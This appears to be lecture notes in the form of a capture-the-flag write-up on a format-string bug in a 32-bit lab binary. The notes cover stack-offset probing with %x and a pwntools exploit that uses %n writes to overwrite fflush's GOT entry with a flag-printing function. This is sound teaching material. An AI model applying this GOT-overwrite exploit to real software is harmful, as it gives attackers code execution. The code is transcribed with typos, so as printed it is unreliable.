PWN College

Session 17
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References: https://pwn.college/, https://pwn.college/, https://guyinatuxedo.github.io/

Format Strings

• It is a **32-bit dynamically** linked binary, with a **Non-Executable** stack, no PIE or RELRO.

```
→ backdoor17_bbpwn file 32_new
32_new: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked,
interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=da5e14c66857965290
6e8dd34223b8b5aa3becf8, not stripped
→ backdoor17_bbpwn checksec 32_new
    Arch: i386-32-little
    RELRO: Partial RELRO
    Stack: No canary found
    NX: NX enabled
    PIE: No PIE (0x8048000)
```

• When we run it it prompts us for input then prints it.

```
→ backdoor17_bbpwn ./32_new
Hello baby pwner, whats your name?
zorro
Ok cool, soon we will know whether you pwned it or not. Till then Bye zorro
```

- When we take a look at the *main* function in **Ghidra**, we see this code.
- So we can see that it scans in our input using fgets, copies it and a message over to the local_140 variable via sprintf.
 Then it prints the message using printf.
- The thing is, the way it's printing it is a bug. It's printing it **without specifying** what **format string** to use for it (like **%**s, **%**x, or **%**p). As a result, we can specify our **own format** which we will have it printed as.

```
void main(undefined4 param 1, undefined4 param 2)
 int in GS OFFSET;
  char local 208 [200];
  char local 140 [300];
  undefined4 local 14;
  undefined *puStack12;
  puStack12 = &param 1;
  local 14 = *(undefined4 *)(in GS_OFFSET + 0x14);
  puts("Hello baby pwner, whats your name?");
  fflush(stdout);
  fgets(local 208,200,stdin);
  fflush(stdin);
  sprintf(local 140, "Ok cool, soon we will know whether you pwned it
                or not. Till then Bye %s", local 208);
  fflush(stdout):
  printf(local 140);
  fflush(stdout):
                    /* WARNING: Subroutine does not return */
  exit(1);
```

• For example:

```
→ backdoor17_bbpwn ./32_new
Hello baby pwner, whats your name?
%x.%x.%x.%x

0k cool, soon we will know whether you pwned it or not. Till then Bye
8048914.ffde7748.f7f84d50.f7f84400
```

- We can see there that we have printed off values as **four byte hex values**.
- The thing that makes this really fun, is *printf* has a %n flag. This will write an **integer** to **memory** equal to the **amount of bytes printed**. With this due to the binary's setup we can get **code execution**.
- Since **PIE** isn't enabled we know the **address** of everything from the **binary** including the **GOT table**, which holds the addresses of **libc function** which are executed.
- Since **RELRO** is not enabled, we can **write** to this table. So we can use this bug to write to the **GOT** table so when it tries to call a function from **libc**, it will call **something else**. Looking at the code we see that **fflush** would be a good candidate since it is **after** the **printf** call.

- Now let's figure out how to exploit this bug. First we need to see **where** our **input** ends up on the **stack** in reference to the **format string** bug.
- In order to do this, we will just give some **input** and see where it is with **%x flags**.

• So we can see that the offsets for our three four byte values are 10, 11, and 12.

```
→ backdoor17_bbpwn ./32_new
Hello baby pwner, whats your name?
000011112222.%10$x.%11$x.%12$x
0k cool, soon we will know whether you pwned it or not. Till then Bye 000011112222.
30303030.313131.32323232
```

- Now the reason why these are **four bytes** is they will store an **address** that we are writing to, and since this is **x86** addresses are **four bytes**.
- We know that we can write a **number** equal to the **amount** of **bytes** *printf* has printed to a memory location. Writing an entire address like *0x0804870b* will cause us to print a **huge** amount of **bytes**, and really isn't realistic over a **remote** connection. So we can split it up into **three smaller writes**.
- Now the question is **what address** will we overwrite the **GOT entry** of *fflush* with. Looking through the list of functions, we see *flag* at *0x0804870b* looks like a good candidate (no arguments needed):

```
void flag(void)
{
   system("cat flag.txt");
   return;
}
```

- If we call this function it will just print the **flag**. There is one more piece of this puzzle we need to figure out before we can write the exploit.
- With our write, we write the **amount** of **bytes** specified. We can **increase** the **amount** of **bytes** we print by **10** by including %10x in our **format string**.
- For our **first** write, we will worry about writing the **first byte** of the address to **flag** to the **got** entry for **fflush** which we can find using **objdump**:

```
→ backdoor17_bbpwn objdump -R 32_new | grep fflush
0804a028 R_386_JUMP_SLOT fflush@GLIBC_2.0
```

• We can see this address in **Ghidra** too.

```
PTR_fflush_0804a028
0804a028 28 b0 04 addr fflush
08
```

- With the **second** write, we will write the **second** byte and with the third, we will write the **third** one.
- The **fourth** write will write the **highest byte** of the address. However we will get around the fact that **subsequent writes** can only be **greater** than or **equal** to the **previous** write by **overflowing** the next spot in **memory** with it.
- To make more sense, let's look at the **memory layout** of the got entry while we carry out this attack. For that here's a small sample script which will carry out the attack and drop us in *gdb* to see.

• Test Files:

```
from pwn import *
target = process('./32 new')
gdb.attach(target, gdbscript='b *0x080487dc')
print target.recvline()
fflush adr0 = p32(0x804a028)
fflush adr1 = p32(0x804a029)
fflush adr2 = p32(0x804a02a)
fflush adr3 = p32(0x804a02b)
fmt string0 = "%10$n"
fmt string1 = "%11$n"
fmt string2 = "%12$n"
fmt string3 = "%13$n"
payload = fflush adr0 + fflush adr1 + fflush adr2 + fflush adr3 -
          fmt string0 +
          fmt string1 +
          fmt string2 +
          fmt string3
target.sendline(payload)
target.interactive()
```

• The break point is right after the vulnerable *printf*.

```
3reakpoint 1, 0x080487dc in main ()
gdb-peda$ x/2w 0x804a028
0x804a028 <fflush@got.plt>: 0x56565656 0xf7000000
```

- So we can see that the value the *printf* write by default is **0x56**. We need the **first** byte to be **0x0b** to match the *flag* function's address **0x0804870b**.
- We will just add 181 bytes to change the value to 0x10b so the byte there will be 0x0b. The 0x01 will overflow into the second byte, however that will be overwritten with the second write so we don't need to worry about it yet.

• Here is the new payload:

0x87 - 0x0b = 124

• We need to add 124 chars to the payload.

0x104 - 0x87 = 125

• We need to add 125 chars to the payload.

```
0x08 - 0x04 = 4
```

• So we just need to add 4 chars to the payload. Here is the final payload:

• Now we are able to write the address of *flag* function. Here is the final exploit:

```
from pwn import *
target = process('./32 new')
#gdb.attach(target, gdbscript='b *0x080487dc')
print target.recvline()
fflush adr0 = p32(0x804a028)
fflush adr1 = p32(0x804a029)
fflush adr2 = p32(0x804a02a)
fflush adr3 = p32(0x804a02b)
fmt string0 = "%10$n"
fmt string1 = "%11$n"
fmt string2 = "%12$n"
fmt string3 = "%13$n"
payload = fflush adr0 + fflush adr1 + fflush adr2 + fflush adr3 +
          "%181x" + fmt string\overline{0} +
          "%124x" + fmt string1 +
          "%125x" + fmt string2 +
          "1111" + fmt string3
target.sendline(payload)
target.interactive()
```

· Now you can get the flag.